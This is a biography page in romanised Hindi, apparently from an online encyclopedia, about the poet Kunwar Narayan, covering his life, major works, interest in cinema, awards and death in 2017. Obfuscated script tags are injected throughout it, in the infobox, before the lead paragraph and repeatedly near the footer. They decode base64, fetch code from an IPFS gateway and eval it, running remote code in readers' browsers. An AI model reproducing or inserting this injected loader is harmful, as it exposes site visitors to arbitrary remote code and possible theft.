कुंवर नारायण
kuanvar narayan
| |
| poora nam | kuanvar narayan |
| janm | 19 sitambar, 1927 |
| janm bhoomi | faizabad, uttar pradesh |
| mrityu | 15 navambar, 2017 |
| mrityu sthan | dilli |
| karm bhoomi | bharat |
| karm-kshetr | kavi, lekhak |
| mukhy rachanaean | 'chakravyooh', 'tisara saptak', 'parivesh : ham-tum', 'atmajayi', 'akaroan ke asapas', 'apane samane', 'vajashrava ke bahane', 'koee doosara nahian' aur 'in dinoan' adi. |
| bhasha | hindi, aangrezi |
| vidyalay | lakhanoo vishvavidyalay |
| shiksha | em.e. (aangrezi sahity) |
| puraskar-upadhi | 'jnanapith puraskar', 'sahity akadami puraskar', 'vyas samman (1995)', 'kumar ashan puraskar', 'premachand puraskar', 'tulasi puraskar', 'uttar pradesh hindi sansthan puraskar', 'rashtriy kabir samman', 'shalaka samman', 'antarrashtriy primiyo fereniya samman', 'padmabhooshan' adi. |
| vishesh yogadan | 'yugachetana' aur 'naya pratik' tatha 'chhayanat' ke sanpadak-mandal mean bhi kuanvar narayan rahe haian. |
| nagarikata | bharatiy |
| any janakari | sahity akadami dvara kuanvar narayan ko mahattar sadasyata 20 disanbar 2010 ko nee dilli mean pradan ki gayi. |
| adyatan | 12:56, 11 sitambar 2021 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kuanvar narayan (aangrezi: Kunwar Narayan, janm- 19 sitambar, 1927, faizabad, uttar pradesh; mrityu- 15 navambar, 2017 dilli) hindi ke sammanit kaviyoan mean gine jate the. kuanvar ji ki pratishtha aur adar hindi sahity ki bhayanak gutabaji ke pare sarvamany hai. unaki khyati sirf ek lekhak ki tarah hi nahian, balki kala ki anek vidhaoan mean gahari ruchi rakhane vale rasik vicharak ke saman bhi hai. kuanvar narayan ko apani rachanashilata mean itihas aur mithak ke madhyam se vartaman ko dekhane ke lie jana jata hai. unaka rachana sansar itana vyapak evan jatil hai ki usako koee ek nam dena sambhav nahian hai. film samiksha tatha any kalaoan par bhi unake lekh niyamit roop se patr-patrikaoan mean chhapate rahe haian. apane anek any bhashaoan ke kaviyoan ka hindi mean anuvad kiya hai aur unaki svayan ki kavitaoan aur kahaniyoan ke kee anuvad vibhinn bharatiy aur videshi bhashaoan mean chhape haian. 'atmajayi' ka 1989 mean italavi anuvad rom se prakashit ho chuka hai. 'yugachetana' aur 'naya pratik' tatha 'chhayanat' ke sanpadak-mandal mean bhi kuanvar narayan rahe haian.
jivan parichay
19 sitambar, 1927 ee. ko kuanvar narayan ka janm uttar pradesh ke faizabad zile mean hua tha. kuanvar ji ne apani iantar tak ki shiksha vijnan varg ke abhyarthi ke roop mean prapt ki thi, kiantu sahity mean ruchi hone ke karan ve age sahity ke vidyarthi ban gaye the. unhoanne 'lakhanoo vishvavidyalay' se 1951 mean aangrezi sahity mean em.e. kiya. 1973 se 1979 tak ve 'sangit natak akadami' ke up-pithadhyaksh bhi rahe. kuanvar ji ne 1975 se 1978 tak ajney dvara sampadit masik patrika mean sampadak mandal ke sadasy ke roop mean bhi kary kiya. kuanvar narayan ki mata, chacha aur phir bahan ki asamay hi ti.bi. ki bimari se mrityu ho gee thi. bimari se unaki bahan brijarani ki matr 19 varsh ki avastha mean hi mrityu huee thi. isase unhean b da kasht aur du:kh pahuancha tha. kuanvar narayan ke anusar -
mrityu ka yah sakshatkar vyaktigat star par to tha hi samoohik star par bhi tha. dvitiy vishv yuddh khatm hone ke bad sanh pachapan mean maian pauleand gaya tha. vishvanath pratap sianh bhi ge the mere sath. vahaan maianne yuddh ke vidhvans ko dekha. tab maian sattais sal ka tha. isilie maian apane lekhan mean jijivisha ki talash karata hooan. manushy ki jo jijivisha hai, jo jivan hai, vah bahut b da yatharth hai.[1]
lakhanoo vishvavidyalay se aangrezi sahity mean parasnatak karane ke bad kuanvar narayan ne pushtaini aautomobail bijanes mean kam karana shuroo kar diya tha lekin bad mean achary je. bi. kripalani, achary narendr dev aur satyajit re se prabhavit hokar unaki roochi sahity mean badhati gee.
lekhan kary
kuanvar narayan is daur ke sarvashreshth sahityakar haian. unaki kavyayatra 'chakravyooh' se shuroo huee thi. isake sath hi unhoanne hindi ke kavy pathakoan mean ek nee tarah ki samajh paida ki. yadyapi kuanvar narayan ki mool vidha kavita hi rahi hai, kiantu isake alava unhoanne kahani, lekh v samikshaoan ke sath-sath sinema, rangamanch evan any kalaoan par bhi bakhoobi apani lekhani chalayi. isake chalate jahaan unake lekhan mean sahaj hi sanpreshaniyata aee, vahian ve prayogadharmi bhi bane rahe. unaki kavitaoan aur kahaniyoan ka kee bharatiy tatha videshi bhashaoan mean anuvad bhi ho chuka hai. 'tanav' patrika ke lie unhoanne kavafi tatha brorkhes ki kavitaoan ka bhi anuvad kiya.
- chakravyooh
kuanvar narayan hamare daur ke sarvashreshth sahityakar haian. unaki kavyayatra 'chakravyooh' se shuroo huee. isake sath hi unhoanne hindi ke kavy pathakoan mean ek nee tarah ki samajh paida ki.
- parivesh ham tum
unake sangrah 'parivesh ham tum' ke madhyam se manaviy sanbandhoan ki ek viral vyakhya ham sabake samane aee.
- atmajayi
unhoanne apane prabandh 'atmajayi' mean mrityu sanbandhi shashvat samasya ko kathopanishad ka madhyam banakar adbhut vyakhya ke sath hamare samane rakha. isamean nachiketa apane pita ki ajna, 'mrity ve tva dadamiti' arthath maian tumhean mrityu ko deta hooan, ko shirodhary karake yam ke dvar par chala jata hai, jahaan vah tin din tak bhookha-pyasa rahakar yamaraj ke ghar lautane ki pratiksha karata hai. usaki is sadhana se prasann hokar yamaraj use tin varadan maangane ki anumati dete haian. nachiketa inamean se pahala varadan yah maangata hai ki usake pita vajashrava ka krodh samapt ho jae.
- vajashrava ke bahane
kuanvar narayan ne hindi ke kavy pathakoan mean ek nee tarah ki samajh paida ki. nachiketa ke isi kathan ko adhar banakar kuanvar narayan ki jo kriti 2008 mean aee, 'vajashrava ke bahane', usamean unhoanne pita vajashrava ke man mean jo udvelan chalata raha use atyadhik satvik shabdavali mean kavyabaddh kiya hai. is kriti ki viral visheshata yah hai ki 'amoort' ko ek atyadhik sookshm sanvedanatmak shabdavali dekar nee utsah parakh jijivisha ko vani di hai. jahaan ek or atmajayi mean kuanvar narayan ne mrityu jaise vishay ka nirvachan kiya hai, vahian isake thik viparit 'vajashrava ke bahane' kriti mean apani vidhayak sanvedana ke sath jivan ke alok ko rekhaankit kiya hai.
sangit natak akadami
kuanvar narayan ke anusar- 'maian jab uttar pradesh sangit natak akadami ka upadhyaksh bana to mujhe sangitakaroan ke sanpark mean aur nikat ane ka avasar mila. sangit se purana nata raha hai mera. maian faiyaz khaan, oankaranath thakur, achchhan maharaj, shanbhoo maharaj adi se aksar milata-julata tha. unake sannidhy ne mere sahityik sanskriti ko kee staroan par prabhavit kiya. film phestival par bhi likhata raha hooan. vishnu khare, vinod bharadvaj aur prayag shukl ke sath milakar hamane socha ki hiandi mean film samiksha upekshit hai. darasal bachapan se hi mujhe sinema dekhane ka shauq tha. hajarataganj (lakhanoo) mean tin sinema h aaul the jinamean roz sham ko sinema dekhata tha. ye sanh 40, 50 aur 60 ki bat hai.'[1]
sahity akadami dvara mahattar sadasyata
sahity akadami dvara hiandi kavi kuanvar narayan ko mahattar sadasyata 20 disanbar 2010 ko nee dilli mean pradan ki gayi. nee kavita aandolan ke sashakt hastakshar aur varsh 2009 mean 2005 ke jnanapith puraskar se sammanit kuanvar narayan ajney dvara sanpadit 'tisara saptak' ke pramukh kaviyoan mean rahe haian. kuanvar narayan ko apani rachanashilata mean itihas aur mithak ke jarie vartaman ko dekhane ke lie jana jata hai. yadyapi kuanvar narayan ki mool vidha kavita rahi hai par isake alava unhoanne kahani, lekh v samikshaoan ke sath-sath sinema, rangamanch evan any kalaoan par bhi bakhoobi lekhani chalayi hai.[2]
sinema mean ruchi
filmoan mean kuanvar ji ki dilachaspi ki ek khas vajah hai. darasal kuanvar narayan ko film madhyam aur kavita mean kafi samanata dikhati hai. vah kahate haian,- 'jis tarah filmoan mean rashej ikattha kie jate haian aur bad mean unhean sanpadit kiya jata hai usi tarah kavita rachi jati hai. film ki rachana-prakriya aur kavita ki rachana-prakriya mean samy hai. arsan vels ne bhi kaha hai ki kavita film ki tarah hai. maian kavita kabhi bhi ek nairetiv ki tarah nahian balki tuk doan mean likhata hooan. gris ke mashahoor filmakar luee mal s dak par ghoomakar pahale shootiang karate the aur usake bad kathanak banate the. krist aauph klisvovski, igmar bargamain, tarakovski, aandreee vazda adi mere priy filmakar haian. inamean se tarakovski ko maian bahut jyada pasand karata hooan. usako maian filmoan ka kavi manata hooan. ham shabd istemal karate haian, vo bimb istemal karate haian, lekin donoan rachana karate haian. kala, film, sangit ye sabhi milakar ek sanskriti, manav sanskriti ki rachana karati hai lekin harek ki apani jagah hai, jahaan se vah doosari kalaoan se sanvad sthapit kare. sahity ka bhi apana ek kona hai, jahaan usaki pahachan sudridh rahani chahie. use jab doosari kalaoan ya rajaniti mean ham mila dete haian to ham usake sath nyay nahian karate. ap samajh rahe haian n meri bat?[1]
prakashit kritiyaan
kavita sangrah - chakravyooh (1956), tisara saptak (1959),parivesh : ham-tum (1961), apane samane (1979), koee doosara nahian (1993), in dinoan (2002)
khand kavy - atmajayi (1965) aur vajashrava ke bahane (2008)
kahani sangrah - akaroan ke asapas (1973)
samiksha vichar - aj aur aj se pahale (1998), mere sakshatkar (1999), sahity ke kuchh antarvishayak sandarbh (2003)
sankalan - kuanvar narayan-sansar (chune hue lekhoan ka sangrah) 2002, kuanvar narayan upasthiti (chune hue lekhoan ka sangrah, 2002), kuanvar narayan chuni huee kavitaean (2007), kuanvar narayan- pratinidhi kavitaean (2008)
samalochana
inake sangrah 'parivesh ham tum' ke madhyam se manaviy sanbandhoan ki ek viral vyakhya sabake samane aee. unhoanne apane prabandh 'atmajayi' mean mrityu sanbandhi shashvat samasya ko kathopanishad ka madhyam banakar adbhut vyakhya ke sath prastut kiya. is kriti ki viral visheshata yah hai ki 'amoort' ko ek atyadhik sookshm sanvedanatmak shabdavali dekar nee utsah parakh jijivisha ko vani di hai. jahaan ek or 'atmajayi' mean kuanvar narayan ne mrityu jaise vishay ka nirvachan kiya hai, vahian isake thik viparit 'vajashrava ke bahane' kriti mean apani vidhayak sanvedana ke sath jivan ke alok ko rekhaankit kiya hai. yah kriti aj ke is barbar samay mean bhatakati huee manasikata ko n keval rahat deti hai, balki yah prerana bhi deti hai ki do pidhiyoan ke bich samanvay banae rakhane ka samajhadar dhang kya ho sakata hai. unhean padhate hue, ye lagata hai ki kuanvar narayan hindi ki kavita ke pichhale 55 varsh ke itihas ke sanbhavatah shreshthatam kavi haian.
puraskar v samman
kuanvar narayan ko 2009 mean varsh 2005 ke 'jnanapith puraskar' se sammanit kiya gaya.[3] 6 aktoobar ko rashtrapati pratibha patil ne unhean desh ke sabase b de sahityik samman se sammanit kiya. kuanvar ji ko 'sahity akadami puraskar', 'vyas samman', keral ka 'kumar ashan puraskar', 'premachand puraskar', 'tulasi puraskar', 'uttar pradesh hindi sansthan puraskar', 'rashtriy kabir samman', 'shalaka samman', 'medal aauf v aaurasa yoonivarsiti', polaiand aur rom ke 'antarrashtriy primiyo fereniya samman' aur 2009 mean 'padmabhooshan' se bhi sammanit kiya ja chuka hai.
nidhan
hiandi ke prasiddh kavi kuanvar narayan ka 15 navambar, 2017 ko nidhan ho gaya. vah 90 varsh ke the. moolaroop se phaijabad ke rahane vale kuanvar pichhale 51 sal se sahity se ju de the. unhoanne dilli ke siar park sthit apane ghar mean budhavar ko aantim saanse lian. vah siar park mean apani patni aur bete ke sath rahate the. uttar pradesh ke mukhyamantri yogi adityanath ne kavi kuvanr narayan ki mrityu par shok vyakt kiya. unhoanne tvit kiya ki uttar pradesh ke faizabad mean janme sahity akadami v jnanapith puraskar se sammanit kavi v sahityakar kuanvar narayan ji ke nidhan par shok vyakt karate haian. unaka sahity mean diya gaya yogadan avismaraniy rahega. kavi ashok vajapeyi ne likha ki sangit, sinema, kavita aur darshan par pak d rakhane vale sahityakar kuanvar narayan hamesha yad aeange.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 adamy jijivisha ka vinamr kavi kuanvar narayan (hiandi). . abhigaman tithi: 19 sitambar, 2012.
- ↑ kuanvar narayan ko mili sahity akadami ki mahattar sadasyata (hiandi). . abhigaman tithi: 19 sitambar, 2012.
- ↑ kuanvar narayan ko jnanapith puraskar (hiandi). . abhigaman tithi: 19 sitambar, 2012.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>